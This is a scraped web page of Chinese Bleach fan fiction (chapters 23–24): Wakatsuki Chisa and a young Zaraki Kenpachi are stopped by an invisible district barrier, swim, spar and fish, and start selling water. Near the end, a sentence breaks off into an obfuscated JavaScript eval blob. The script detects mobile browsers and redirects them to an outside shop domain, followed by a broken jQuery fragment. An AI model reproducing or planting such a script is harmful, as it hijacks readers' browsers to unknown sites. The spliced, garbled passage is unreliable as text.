两人走到无形屏障面前,穿了过去……没穿过去。 无形屏障施加了一道反弹之力,将毫无防备的两人弹了出去。 若月千纱摔了个屁股蹲儿,不知所措地看向无形屏障:“……啊咧?” 23.第二十三章 若月千纱理解无形屏障的存在意义。 她从老师嘴里得知,尸魂界是由中心的瀞灵廷和环绕着瀞灵廷的流魂街组成的,贵族和死神居住在瀞灵廷,而魂魄们居住在东西南北各80个区的流魂街。 而在80个区中,越靠近瀞灵廷的地区越富裕、治安越好,居民们的生存和人身安全都有基础保障;越靠近边缘的地区越贫穷、治安越差,居民们非但面临渴死、冻死等生存问题,还随时有可能卷入危险之中,成为无辜亡魂。 有谁希望喋血苟活、无故送命?有谁不乐意过着无忧无虑的生活?又有谁不想生活在条件更优渥的地区呢? 假如各区之间没有无形屏障的阻碍,得到更好的生活得代价仅仅是多走几步路,想必所有地区的魂魄们都会向瀞灵廷靠拢,最终造成序号靠后的地区无人、序号靠前的地区人数爆满的乱象。 若月千纱认为,无形屏障是瀞灵廷里的大人物们管理流魂街使用的一种手段,对序号靠后地区的魂魄们不公平且残忍,却也无可厚非。况且,无形屏障并未一刀切,还是给魂魄们开放了一条上升的渠道,让部分魂魄们可以打破地区的枷锁,自由地前往其他地区,改变自己的命运。 她摸不清无形屏障的筛选条件,但她原本以为,他们应该属于那一小撮被选中的幸运儿。他们已经畅通无阻地穿越过两道无形屏障了呀! 若月千纱不敢置信地伸出手,缓缓地探向前方的虚空。 她的手指不断伸向前方,突然触碰到某样没有形体的东西,指尖传来一道极强的阻力,强迫她停下。她手上运劲,手指分毫未进,一道肉眼难辨的细微涟漪在她指尖处荡漾了一下,归于无痕。 “……这算铁证如山了吧?剑八,看来这里就是我们这一次旅途的终点……你在干什么!?” 若月千纱还来不及沉浸在自己泯然众人的惆怅之中,就被更木剑八的行为吓得惊出一身冷汗,连滚带爬地往无形屏障的反方向冲去。 只见更木剑八往后退开一段距离,全速前进地冲向无形屏障,被它高高弹起。 空中没有借力缓冲的方式,从那个高度实打实摔在地上,就算是他,也得身受重伤! 若月千纱目测出他的大致落点,扑了上去,想要接住他。 更木剑八伸出手,在她肩膀上借了个力,灵巧地在半空翻了两个跟斗,双脚稳稳当当地落到地上,毫发未伤。 若月千纱一个趔趄,要不是下盘稳,差点摔个狗啃泥。 她收回接了个寂寞的双臂,活动了一下险些脱臼的酸痛左臂。见更木剑八兴趣盎然地再次冲向无形屏障,她的脑门处青筋暴起,狠狠地磨了磨牙,冲过去把他拦腰捞起,紧紧地锁住:“臭小子,你还玩上瘾了呐!万一我没及时赶到,你得摔成什么样!给我安分一点!” 更木剑八挣扎着要下地,闻言拍了拍壮实的小胸膛,信心十足:“摔下去也死不了的。” 若月千纱气笑:“哦,只要死不了就行了吗?那等你摔断腿躺在床上养伤时,我一个人去挑战高手也没关系吧?反正那时候你都走不动路,我就不带你了呗。对了,对练什么的也暂停,我不屑欺负一个伤员。” 更木剑八猛地抬头:“我要战斗!” “那就乖乖听我的话。” 更木剑八被她戳中死穴,不敢再挣扎,老老实实地挂在她的臂弯处,像个大型的人形玩偶。 臭小子,我还治不了你么? 若月千纱火气骤降,露出一个奸笑。 她扛着难得乖顺的更木剑八远离无形屏障,一头扎进不远处的森林里,想要穿过森林寻找远离此地的居民区。 “前进的道路被截断了,我们暂时得住在78区了。看你的眼神,你是不是在疑惑我为什么要用‘暂时’这个词呢?难不成你以为我会回到79区或80区?不不不,那是不可能的,谁想回那两个破地方!那我为什么要用这个词呢?你猜一猜。” 更木剑八顶着一双死鱼眼,不知道她是如何从他脸上看出子虚乌有的疑惑的。他对她说的话不感兴趣,只想用自己的双脚走路。 他不回答,也不妨碍若月千纱自说自话。 “我就知道你猜不出来。让我大发慈悲地告诉你答案吧!我刚才琢磨了一番,觉得这道无形屏障不可能拦住我们一辈子。你想想看,我们每次到达地区交界处,是不是都有很多人尝试穿越屏障? “要知道,显而易见的失败最容易消磨人的意志,让人止步不前。按理来说,多次失败后,愿意继续尝试的人应该寥寥无几,可此地的人数却多到不合理的地步。总不可能我们每次闯关都挑中了良辰吉日,才遇到那么多人吧? “仅仅因为不甘心,真的能给予他们坚持不懈的毅力和动力吗?我猜,在这之前,一定有某人失败过,日后却成功跨越屏障的事例,给了他们成功的希望。剑八,我说的是不是很有道理?” 在近距离连珠炮似的长篇大论的狂轰滥炸之下,更木剑八血条清零,脑袋宕机,手脚软趴趴地垂着,随着她的走动一晃一晃。 “既然我们能穿过前两道无形屏障,那就证明我们有被它们承认的潜力,我们只是78区的过客。终有一天,我们会穿越它抵达彼岸……”若月千纱在森林里穿梭着,一道亮丽的风景线蓦然闯入她的视野。她顿足不前,眼睛发直地看着前方,目眩神迷,夹着更木剑八的手臂骤然一紧,“呜哇!剑八剑八,快看快看!天呐,太惊人了!” 她太过激动,手上的力道没轻没重,更木剑八的腰险些被她勒断。 “放手!”他一边伸手掰开她的手臂,一边抬头。 才一抬头,他手上的动作便静止了,直愣愣地看着前方,陷入呆滞状态。 只见一条小溪静静地在他们眼前流淌着,从林子的一头蜿蜒向另一头。小溪不宽,仅三四米,水深不及一米,溪水清澈见底,溪底的沙石和溪中摇头摆尾的小鱼儿纤毫毕现。 在80区一滴难求、在79区、78区装坛售卖的水,竟不要钱地大量汇集于此地。对80区出身的两人来说,世界上没有其他景色比它更加扣人心弦。 “好多的水啊!真壮观!对吧,剑……八?” 若月千纱惊叹着,不由得向更木剑八寻求认同。她低头看向他,目光落在他的脸上。 他的花猫脸上写满了震惊……花猫脸? 若月千纱上下打量了他一番,目光回到自己身上。 这一段时间他们都在赶路,一路上风尘仆仆,不像之前那般有条件用水清洁自己、整饬自己的仪容,此刻都是一副不修边幅的模样,看起来邋遢极了。特别是更木剑八,他本就不喜欢洗澡,鲜少主动洗澡,看着更脏几分。 若月千纱二话不说,一阵狂奔跑到溪边,手臂一扬,在她臂弯处的更木剑八便如同一枚炮弹,斜斜地扎进水面。她把怀中的短剑和钱袋藏到溪旁的石头草缝中后,跟着跳了下去。 水面一前一后溅起两朵大大的水花。 若月千纱不记得自己有没有学过游泳,但她的身体记忆告诉她,她会游泳。一入溪水,她便如鱼得水,游得悠闲自在,动作优雅,宛如一条美人鱼。 更木剑八与她恰恰相反。 他是只地道的旱鸭子,被她冷不防抛进水里后,整个人都不好了,身体僵直,如秤砣般直往下沉。 溪水漫过了更木剑八的眼睛、鼻子、嘴巴、下巴、脖子……他没有游泳经验,好在敏锐地在落水时立即屏住呼吸,才没有被水呛到。 “千……” 他一张口,便吐出了一个大气泡。溪水灌进他的嘴里,溪面上冒起了一个个小气泡。 他急忙合上嘴巴,不敢再说话,手脚乱划,想要自救。由于不得要领,他扑腾了许久,不仅没往上浮,还继续往下沉,一张脸越涨越红。 “哈哈哈哈哈——”自诩为姐姐的某人竟不厚道地捧腹大笑起来,“慌什么呢?水面没你高,你只要好好站着,自然不会有事!” 更木剑八定睛一看,可不是么?若月千纱此刻正站在水中,水面甚至还不及她的腰高。 他静下心来,不再乱扑腾,努力在溪水中站稳身体。 若月千纱说得没错,他确实比水高。 然而—— 若月千纱看着他露出水面的额头和沾水倒伏下来的刺猬头发,以及水面下的眼睛、鼻子,笑声戛然而止,赶紧拨开水向他走去,准备救人。 更木剑八踮起脚尖,可惜高度仍有所不足,只有双眼及小半截鼻梁露出了水面。他想了想,仰起了脸。 这一次,他顺利摆脱了水的束缚,整张脸暴露在氧气充足的空气里。他大口呼吸着新鲜空气,保持着仰望天空的姿势,不敢乱动。 他的姿势不由得让若月千纱联想起刻印在脑海中的一幅植物图鉴。仰着脑袋的更木剑八不正像一朵意外扎根在水底却仍执着地面朝太阳的向日葵吗? 她原本还心虚着,此刻却忍俊不禁起来。 更木剑八目光幽幽地凝视着她,如利剑一般刺中她的良心。 “噗……咳咳咳,对不起,都是我的错。你稍等一下,这里应该会有溪水较浅的地方,我找一找。” 若月千纱将更木剑八拎出水面,找了处地势较高的地方放下。 这一回,溪水只淹到他的脖子。 更木剑八环视四周,观察水底高度,想要溜回岸上。 他的想法全部写在脸上。 “想逃跑?剑八,你这样不行呐。战斗不分地点,敌人不可能会迁就你的。倘若未来遭遇水战,你打算像现在这样当个不战而逃的懦夫,灰溜溜地逃走吗?不对,不会游泳的话,假如你被敌人扔进水里,甚至逃都逃不走,只有死路一条。” 面对更木剑八,若月千纱的激将法屡试不爽。 他一脚踩中陷阱:“千纱,教我游泳!” 若不会游泳、不识水性,他甚至不具备水中战斗的资格。当水域沦为战场时,他将命悬一线。他要克服这个弱点! 若月千纱眼睛一眯:“包学包会!” 不喜欢洗澡是吧?多在水里游几圈,身体自然就干净啦~ 若月千纱嘴上应得轻巧,却是理论上的矮子——她的确会游泳,但那只是她的身体记忆带来的成果,无法有效地转化为语言。教人游泳有哪些步骤?顺序呢?注意点呢?她一概不知。 不知道这些又怎样?反正更木剑八也不知道正常的游泳教程是什么嘛! 若月千纱摆出一副资深游泳教练的姿态:“教育要因材施教。你是个极端的实践派,一听理论就犯晕,我们就跳过它吧,反正你也听不进去。你只需要仔细观察我的动作,然后模仿我就行。我会展示出几种不同的游泳姿势,你可以从中寻找出最适合你的!” 她俯低身体,一头扎进水里,在更木剑八面前自由自在地游来游去,游两个来回便换一种泳姿,蛙泳、蝶泳、自由泳、仰泳轮番上阵,周而复始。 更木剑八一旦下定决心,便不会逃避畏水心理。他观察了几遍若月千纱的示范,记住她手脚的每一个动作和搭配,以及她换气呼吸的时机,便学着她扎进水中。 他是个游泳初学者,入水后难免呛上几口水。但是,这种情况只出现在最开始。 他是个天生的战斗天才,身体的协调性、反应速度都是顶尖的。只需要几个简单动作的游泳对他来说难吗?一点也不。 不过一会儿,他便克服了对水的陌生感和畏惧感,将四种泳姿学得像模像样,只是速度远远不及若月千纱。 若月千纱见他初步掌握了游泳技能,停止示范,在水中站定,叉腰大笑:“我是天才游泳教练!” 更木剑八没有理会这个掺海的天才游泳教练,自顾自游来游去,时不时切换四种泳姿熟悉水性。 他始终没有选定适合他的泳姿进行加强训练,若月千纱也不以为意。管他这么多干什么?她只要达成目的就好。看,在水流的冲刷下,这只小脏猫已经变得干干净净啦! 更木剑八似乎喜欢上了游泳,一直游个不停。 此时正值夏季,但密密麻麻的树叶遮挡住了毒辣的太阳,溪水冰冰凉凉的,泡在里面十分舒服。 若月千纱很享受这种清爽的感觉,并不催促他离开此地,浮在水面上玩“死人漂”,被水流推远后再游回去。 若月千纱少有这么放松的休闲时刻,此外,被如此多珍贵的水环抱着,她有种坐拥天下的满足感,不知不觉便在水中待了很久、很久…… “千纱。” 她的耳畔响起更木剑八的呼唤声。 她仍不舍得离开此地,朝他招了招手:“你终于游累了吗?过来学我在水上漂着吧?很好玩哦。” “不,我们对练吧,就在水中!” “哈?” 更木剑八的提议出人意表,把若月千纱惊得抬起了身体。这一动,打乱了她维持许久的身体平衡,她渐渐沉入水中。 她蹬了蹬腿,借助水势调整好姿势,脑袋探出水面,面向更木剑八,一脸的讶异:“你说什么?” 更木剑八一脸的跃跃欲试:“我们来水中对战吧!” 在若月千纱放空大脑享受生活期间,他尝试了一下在水中练拳脚的滋味,发现水除了会夺走人的呼吸外,还具备其他危险特性。 他在陆地上能够轻松自如地挥动手脚,但到了水中,却感受到极大的阻碍,一举一动格外吃力。无论是挥拳、踢腿抑或跳跃,萦绕在四周的水会拉扯住他的手脚,让他的攻速变缓、力量变弱,做不到身随意动。 为了熟悉水战,他特意在水中训练了许久,摸索着水中战斗的方式和节奏。 现在,他已经热身完毕,来向水战的前辈请战,练习水中实战! 若月·凭身体记忆只会游泳·嘴炮冒充水战前辈·刚才只光顾着玩·千纱:“……来啊,怕你不成?” 她怎么忘了更木剑八是个不折不扣的战斗狂呢?她都提起水战了,他能不试一下么?自己挖的坑,硬着头皮也得跳进去!不然她这个“前辈”的脸往哪里搁?姐姐的威严还要不要了? 若月千纱,不用怂!目前你们的空手实战水准旗鼓相当,可你具有身高优势,呼吸无忧,胜率更高!剑八是游泳初学者,游泳技术不熟练,战斗时却要兼顾呼吸问题,只会顾此失彼,自取灭亡! 若月千纱心里算盘打得很响,但她忘了计算几个变数。 其一,更木剑八做过一段时间的水中模拟练习。其二,更木剑八是个战斗天才。其三,她在水中只游过泳。其四,个子高未必在任何时候都是优势。其五,她过于轻敌。 一个变数就足以影响战斗结果,更何况变数有五个之多。 在一番苦战过后,若月千纱的脸被打得啪啪作响。 “啊咧?我输了?我真的输了?”她不敢置信地盯着轻松地摆动双腿浮在水面上的更木剑八,他的身上已经很难看出游泳新手的痕迹。 水中的战斗和陆地上迥然不同,别有一番滋味。更木剑八食髓知味,再次邀战:“再来!” 若月千纱的好胜心熊熊燃烧起来:“好,继续!” 她要赢! 第二回合,更木剑八胜利。 若月千纱摸出一点水中战斗的窍门:“再来!” 更木剑八有战必应。 第三回合,更木剑八三连胜。 “失败是成功之母,下次一定能赢!” 第四回合,胜者更木剑八。 “只差一点点就能获胜了,加油!” …… 两人在水中不知疲倦地对练着。若月千纱输了一次又一次,输得都快抑郁了,才扳回一城,险胜了一回。 “好耶!总算赢了一局!” 若月千纱欢呼了一声,高度紧绷的神经猛地松弛下来。这一放松,让她发现到一些战斗中不曾留意的小细节。 她抬头看了看昏暗的天色:“呀,都这么晚了吗?天黑后森林里的光线很弱,视野能见度极差,我们得尽快走出这片森林!剑八,今日的比试到此为止,下次再战!” 更木剑八抓住她的衣摆,表情意犹未尽:“再来!” “没时间啦。再耽搁下去,我们得露宿了。想玩水战的话,日后我们随时都能过来。走喽!” 更木剑八仍不愿挪步,若月千纱便反手握住他的手腕,把他拖到岸上。她凭借记忆找回藏好的短剑和钱袋,拉着他一起走,一心想要穿过森林,找到歇脚的地方。 两人进森林时没留意到另一头有一条规整的小路,走的是自己踩出来的野生小路,一路上没有遇到其他行人。 这片森林不知有多大,他们走了许久仍困在林子里,而天色却肉眼可见地暗沉下来。他们没有照明工具,森林里采光本就不好,若天色彻底暗下来,他们将寸步难行。 在树木丛生的林子里沿着弯弯绕绕的小路前进不是件易事,若月千纱既要辨认正确的方位,又要看住更木剑八不让他乱跑以免迷路,无法加快速度。 湿漉漉的衣服贴在身上的触感很不舒服,发丝上的水滴也时不时往下滑落,若月千纱越走越觉得心烦。 随着时间的流逝,林间的风越来越凉。紧贴着身体的衣服又湿又冷,风一吹,冷飕飕的,让她感受到几分凉意,不由得抱紧了身体。 “阿嚏——不能再盲目往前走了!一直穿着湿衣服吹冷风,铁打的身体都扛不住。再说了,出口不知道距离我们多远,天黑前未必走得出去。毫无准备地在林子里过夜很危险,不如早做准备。”若月千纱当机立断,“今晚露宿!剑八,趁现在还有些天光,我们赶紧多捡些干树枝过来生火!” 在非战斗方面,更木剑八一向任她做主,跟着她行动起来。 他们找到一处较为空旷的地方,捡回一大堆干树枝和枯叶,高高地堆成两座小山。 更木剑八负责清理场地,将周围的易燃物清理干净,而若月千纱则掏出怀中的短刀,将树枝削成合适的形状,做钻木取火的事前准备。 钻木取火是她在79区学到的生存技能。 在79区,随处可见的树木不值钱,而被服却属于奢侈品。一般人出门在外都穿着打着无数补丁的衣裳,哪来那么多被服用以御寒?为了度过漫漫寒冬,不至于冻死在屋子里,钻木取火就是他们日常的取暖手段。 两人做的是黑吃黑买卖,自然不缺被服。不过,钻木取火是个实用技能,过程看起来也还算有趣,两人便跟着老师学了一手,都是个中熟手。 钻木取火耗时耗力,若月千纱堪堪在林子里最后一抹余光消失前点燃了火。 火光照亮了森林,似乎惊动了附近的小生灵们,周围的树丛里传来窸窸窣窣的响声。 两人蹲在树枝架起的火堆边上烤火,火焰燃烧带来的热度很快就烘干了两人的衣服和头发。 “夏天烤火,真是特殊的体验呢。”若月千纱看着跳跃的火焰,偶尔往火堆里添 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“哇,刚才是我误会你了,你真懂事!”若月千纱露出一副“吾家有儿初长成”的欣慰模样,站起来舒展了一下僵硬的身体,往地上一躺,“早安。” “早安。” 若月千纱纠正道:“不对,我刚要睡觉,你应该说晚安。” “……晚安?” 她扑哧一笑,闭上了眼睛,任由黑暗将她吞噬。 待若月千纱睁眼时,天色已大亮。 她看着眼前被密密麻麻的树冠包围着的一小片蔚蓝天空,眨了眨眼睛,侧头看向一旁。 燃烧了一夜的火堆仅剩一堆灰烬,不见烟雾,早已失去余温。 她把脑袋转向了另一边,一张无限放大的失真面孔占据了她的整个视野。她心跳失衡,下意识往后一躲,拉开距离,才发觉面前的人是更木剑八。 “吓我一跳!剑八,你可以啊,现在都学会恶作剧了!” 更木剑八歪了歪脑袋:“嗯?” “啧,无心的吗?也对,你的脑子里哪有那根筋哦。你凑那么近,是找我有事吧?” 更木剑八抬手一指:“我们回去,继续水战!” “玩上瘾了么?行吧,反正现在早得很,不急着出林子,还能顺便洗个澡。不过,剑八,你指反了方向。”若月千纱拽着他的手腕,让他的身体旋转一百八十度,“我们昨晚是从那里过来的。” 两人往回走了一段路程,找到了那条小溪流。它和昨日毫无二致,被他们的动静吓跑的鱼儿们也游了回来,正惬意地游弋在清澈的溪水中。 昨日,若月千纱被清凉透彻的溪水攫取了全部心神,沉醉于它的魅力之中,全然忽视了这些小生灵们。 如今,她注意到了它们。 在这片隐于深林、人迹罕至的水域中,它们茁壮成长着,长约二十厘米左右,细密的鳞片在溪水中闪烁着点点银光,看起来丰腴肥美。 一道念头如闪电般贯穿她的大脑。她不禁咽了咽口水,拉住想跳进溪流里的更木剑八:“等一下!站在这里别动!” “千纱?” 更木剑八疑惑不解地扭头看她,在她的再三叮嘱下收住脚,目送她飞奔向不远处。 若月千纱如同勤劳的小蜜蜂,在林子间穿来穿去,捡回一大堆干枝枯叶,又亮出了短刀,削起了树枝。 更木剑八恍然大悟,知晓了她的用意,帮她一起捡树枝。 他不喜欢湿衣服贴在身上的黏腻感,能在出水后立刻烤干衣服,确实不错。 若月千纱把钻木取火的用具削好后,又把两根一米多长的树枝削成圆棍状,将其一端削尖,把其中一根木棍塞到他手里,兴高采烈地喊道:“剑八,我们去叉鱼吧!” “叉鱼?” “对啊!尸魂界只要喝水就能存活,我都忘记食物是可以吃的。虽然我没有记忆,但我的常识告诉我,生鱼片和烤鱼超美味的!”若月千纱用食指点了点自己的脑袋,回想了一下它们的相关描述,垂涎三尺,舔了舔嘴唇,“你没吃过正经的食物吧?姐姐带你开荤涨见识喽!” 不曾尝过的食物在更木剑八心中掀不起半点波澜,毫无诱惑力:“不要,太浪费时间了,我们继续水战。” “我拒绝。一旦我们在水中打起来,那些鱼就该跑光了,你要我上哪叉鱼去?” “你答应我的。” “我一向说话算话,吃完鱼就陪你玩水战。” 两人互不相让,局面陷入僵持状态。 “要不这样,我们各自后退一步。我们叉鱼决胜负,不准入水。短短一刻内,谁叉的鱼多,就听谁的。怎么样,很公平吧?耗费的时间也不长。” 若月千纱的提议听起来合情合理,耽搁的时间又短。更木剑八想了想,点了头。 若月千纱在更木剑八看不见的地方露出狡诈的笑容。 小家伙,你中计了!不要小瞧大人的奸诈狡猾——划掉——智慧啊! 两人隔着老长一段距离,握着木棍找好位置,蹲在岸边,对视了一眼。 叉鱼比赛拉开了序幕。 若月千纱凝神屏息,找准目标,观察了一下鱼的位置,以迅雷不及掩耳之势刺出木棍。 木棍的尖端穿透目标,一抹血红在水中洇开,转瞬溶于水中,消失不见。 她挑起木棍,对着身后用巧劲一甩,鱼便脱离木棍摔在了地上。 她转过身体,高举木棍,尖端斜向下,重新摆好姿势,蓄势待发。 溪流里的鱼儿少有被人捕捉的经验,单纯傻气,慌乱了几秒后便恢复了平静,若无其事地甩着尾巴继续游着。 她刺出了第二下木棍,收获了第二条鱼。 若月千纱接二连三地叉中了鱼,战果颇丰,更木剑八那里却仍颗粒无收。 他明明瞄准了目标,下手也快,但木棍的尖端总是一次次擦过鱼的身体,失之毫厘,没能刺中。 留给他的时间不多,他越叉鱼越烦躁,想要扔掉木棍直接跳进小溪里用手捉鱼。但那样做违反比赛规则,不服输的倔强念头作祟,让他憋着一口气不肯放弃。 尝试的次数一多,优越的动态视力替他捕捉到一个不协调的细节。 他发现,斜着插入水的木棍在水平面下不自然地弯折了几分,与他目测的轨迹偏离了几分。 他不了解这个奇特的现象里蕴含着什么意义,只是在直觉的驱使下修正了一下刺出木棍的角度。 他第一次叉中了鱼。 而后,他叉中了第二条鱼、第三条鱼,时间间隔越来越短。 “时间到!” 一人从比赛开始就从起跑线出发,另一个人比赛过半后才进入赛道,结果不言而喻。 “哟吼!我赢啦!剑八听令,陪我烤鱼吃鱼!”若月千纱欢呼雀跃,转身走向树枝堆,暗中抹了一把虚汗,“好险!这小子的狩猎天赋得天独厚,要不是我藏了一手,这会儿输的应该是我。知识就是力量啊!” 点火堆、去鱼鳞、破鱼肚、掏内脏……她一边忙活,一边不客气地指使更木剑八帮她打下手。 她没有烤鱼的经验,烤焦了几条鱼后才掌握大致火候,烤出了一条条香味扑鼻、外焦里嫩的烤鱼。 在烤鱼的间隙,她洗净短刀,展示了一回精妙绝伦的刀工,切下了一片片薄如蝉翼的生鱼片,招呼更木剑八一起享用,先过了回嘴瘾。 美食的诱惑势不可挡,鲜甜嫩滑的生鱼片和酥香可口的烤鱼征服了更木剑八的单调味觉,让他一发不可收拾,狼吞虎咽地吃下好几条鱼。 若月千纱细细地品尝着鱼肉的滋味,看着停不下嘴的更木剑八,骄傲地挺了挺胸膛。 她就知道,真香不会迟到,他终将成为美食的俘虏! 鱼好好吃哦! 两人光盘后,一脸满足地歇了一会儿,下了水。 吃饱喝足后,两人精力条拉满,在水里对练了许久。 这一次,若月千纱没有忘记时间的流逝,及时终止了水战。在太阳落山前,他们便离开了森林。 78区比79区更有活力一些,路边静静流淌着河流,街道上店铺的数量更多,卖的东西种类也更丰富。 繁华地段的房屋十分抢手,早已满员,两人退而求其次,在较为偏僻的地方找到一处无人的房屋,住了进去。 他们在78区重操旧业,干起了黑吃黑的勾当,迅速积累起财富。此外,他们三天两头去森林里转一圈,玩玩水、吃吃鱼,日子过得比以前更有滋有味。 每隔半个月左右,他们就会穿过那片森林,到无形屏障处走一趟。 无形屏障一次又一次将他们拒之门外,若月千纱的心情从怀抱一丝希望后失望,渐渐过度为波澜不惊。她将一趟趟的无功而返视作成功路上一块块小小的绊脚石,不曾放弃过。 在78区居住了大半年,他们照例来到了78区和77区的交界处。 若月千纱本着速战速决的心态,不抱希望地向前方探出手,心里琢磨着接下来的行动计划。 无形屏障果然拒绝了她的进入。 她无所谓地缩回手,转头看向更木剑八:“剑八,我们去……” 后半截话卡在她的喉咙里。 她的手僵在半空,全身血液倒流,脑袋宕机,脸上一片空白——更木剑八已不在她的身旁。他已经跨越了那道无形屏障,和她距离几步之遥。 他们隔着无形屏障相视而立,咫尺天涯。 24.第二十四章 自失忆起,若月千纱在尸魂界生活了十余年。在这些年里,更木剑八陪伴着她度过了大半的时光。 初遇时,他于她而言只是无足轻重的工具人;但随着相伴的时间不断增长,各种各样的情感在她心中不断发酵、沉淀、酝酿。 他是她在这个世界上的第一位有缘人,是她的任务目标、她的唯一羁绊、她的弟弟。他给予了她生活的目标,带给她无穷的乐趣。他的陪伴驱散了她的孤独,让她不再因失忆而彷徨。他是她在这个陌生且漂泊无依的世界中找到归属感的锚点。 她从不宣之于口,也羞于表现出对他的依赖。事实上,无关乎任务奖励,他在她心中有着举足轻重的地位。 然而,他与她同行,初时是被迫,后来只是习惯使然、顺势而为,并非缺她不可。即便他抛下她一人离去,她也丝毫不觉得意外。 他是自由的。他的实力足以让他独闯江湖,而且,他和这个世界的最后一道隔阂——语言不通——也早已不成阻碍。 在79区的第一年,她已熟练掌握了尸魂界的语言。她之所以硬生生拖了一年才离开那里,不是为了别的,就是为了让他多当几日教学课堂的旁听生,让新的语言以润物细无声的方式潜入他的生活,悄无声息地植入到他的记忆中。只要他多和外界打交道几次,他就会发现,虽有些磕磕绊绊,但他勉强能做到独自与别人沟通交流。 眼前这层无形的屏障将他们的世界划分成两半,为他插上了前往新世界的羽翼,却将她抛下了万丈深渊。 若月千纱嗫嚅着嘴唇,喉咙里发不出声音。 佯装洒脱与他潇洒道别?她做不到。 出声挽留他,让他留在她身边?她没这么厚的脸皮。她凭什么让一个能过更好的生活的人留在这个贫瘠的地区陪伴她,等待不知多少年再一起进入77区? 更木剑八与她对视片刻,疑惑地问道:“你怎么还不过来?” 若月千纱张合了几下嘴唇,艰难地开口道:“我过不去。” “哦。” 更木剑八应了一声,提步向她走来。 若月千纱的心脏抖了抖,手指紧了又松,指向前方:“你又迷路啦?77区在那个方向。” “我才没有迷路!你不是过不来么?” 他说着,便穿过无形屏障,重新走回她的身旁,仿佛他的位置就该在那里,天经地义,理所当然。 一股无比剧烈的情绪袭上她的心头,使劲地戳着她心中最柔软的地方。她猛地抬头,45度角仰望天空。 她的动作突兀得惹人好奇,更木剑八不禁顺着她的视线看向天空,入目的仅是平平无奇的蓝天白云:“天上有什么东西吗?” “可恶!该死的记忆,又骗我!不是说这么做不会……吗?” 若月千纱沙哑着嗓子低声咒骂了一句,举起手臂挡在眼前。宽大的袖子自然垂下,覆盖在她的眼睛上,悄然吸收掉她眼角溢出的液体。 “啧,今天的阳光真刺眼,晃得我睁不开眼睛。”若月千纱搪塞地应了一句,放下手臂往身后一背,藏起濡湿的衣袖,低头,脚步欢快地走向森林,“走喽,今天天气这么好,我们多抓点鱼吧!” 更木剑八的注意力被她成功带偏:“好,我刚好肚子饿了。” “肚子饿?应该是嘴馋才对吧。” “就是肚子饿。” “魂魄怎么可能会觉得肚子饿?那是错觉啦,错觉。” “哦。” 两人结伴走进森林,回归到日常的生活中。 他们的生活日复一日,仅仅多出一个小变化——若月千纱加强了原本稍嫌懈怠的训练,一点点地精进自己的实力。 “鬼知道那道屏障是怎么筛选人的,能进步一点是一点,说不定就差那么一点点。” 然而,那道无形屏障一直没向她开放。不仅如此,黑吃黑的生意也越来越萧条。 “日子越来越不好混喽,那些家伙轮流被我们抢过几次后就躲了起来,压根不在我们眼前冒头。再这样下去,我们就要关门大吉啦!不过,治安变好也算一桩好事吧。” 若月千纱清点了一下家产,心态非常乐观,没有意识到问题的严重性。 坐吃山空是亘古不变的真理。他们积攒的财富确实很多,但每个月消耗的成本并不少。随着实力上升,他们的衣服越来越不经穿,不放水的频繁实战对练导致他们的衣服时常破损。 若月千纱没有点亮缝补技能,也不在乎购衣那九牛一毛的开支,衣服一破就置换新衣。久而久之,他们只有出项没有进项,每月财政赤字,积蓄越来越少。 直到手头的钱财一眼可以数清,她才惊觉,甭说维持良好的生活环境,再这样下去,他们该节衣缩食了。 “不行!再穷也不能穷自家崽崽!”若月千纱沉寂了许久,决定开源。 黑吃黑的生意做不下去了,她只能回归正道,做起了正经买卖。 她觉悟得太晚,手头资金有限,又没有投资或进货渠道,只能做起了无本买卖。 当然,这里的无本买卖指的并非黑吃黑,而是——卖水。 78区确实有流经居民区的河流,但那里水质浑浊,不宜饮用,喝多了易生病,故这里仍有食水的市场。 森林里的溪流非常清澈,作为食水标准合格。但是,那里并非人人都能去的地方。 遥远的路程、糟糕透顶的治安、易迷失方向的纵横交错的林间小道、致人伤病的毒虫毒蛇……对普通人来说,有太多的路障挡在他们前方。 这些问题对若月千纱来说不成问题。她要做的,就是从森林里担水回来,分装在坛子里进行售卖。 “就当是锻炼体能了!剑八,你要陪我一起去森林,还是留在家里?” 更木剑八抱起身前高度和他相仿的大木桶,用行动回答她的话。 “不不不,你理解错我的意思了。放下木桶,挑水是我一个人的工作。这一年来,你好不容易有了长高的迹象,过度负重会影响你的骨骼生长,害你长不高的。你不想当一辈子的小豆丁吧?” 更木剑八想了想,松开手:“那我留在家里。” 若月千纱提起大木桶,口吻戏谑:“不要随便给陌生人开门哦。” 更木剑八:“……” “我出门啦。” “哦。” 若月千纱拎着大木桶,向森林飞奔而去。 他们是那条溪流的常客,从他们家到溪流的路线,她早已熟记于心,无需再像从前那般边走边认路,节约了许多时间。 她在溪流里打了水,装了七八成满,抱起它往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200715|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里走:“啧,真沉。幸好我有自知之明,没有贸然提两个水桶过来。” 她放慢速度,一步步向家里走去,偶尔放下水桶小憩片刻,好一会儿才回到了家。 “我回来了。” “欢迎回来。” 若月千纱翘起了嘴角。 每次听到更木剑八温馨的回应,她都觉得心情很好,不枉她不厌其烦地教他说了无数回这两句对话。 她把水桶稳稳地放在地上,甩了甩酸痛的双臂,招呼更木剑八过来帮忙:“你帮我把之前买的那50个小坛子搬过来,我负责把水分装进去。剩下的水就留在桶里,我们洗漱用。” 他们分工合作,搞定这件事后,又在门口架起小摊子,把水坛子摆在上面,挂上价格木牌。若月千纱担任销售员和收银员,更木剑八担任保安。 他们的住所离街道有点距离,住在附近的人大多生活贫困。故而,她标上的售价只有街道卖水摊的一半。 “我可没那么多时间消耗在赚钱上,只要能维持每个月的收支平衡就行。半价出售,应该能吸引来不少手头拮据的顾客吧?” 在商品的质量差不多的前提下,价格战永远是最有效的。没过多长时间,她的商品便脱销了。 有人追问道:“你以后还会继续卖水吗?” 若月千纱做了回心算,回答道:“会,大约四五天卖一次水,时间不固定,随缘吧。数量和今天一样,价格不变。对了,每次卖水,一人只能买一坛。” 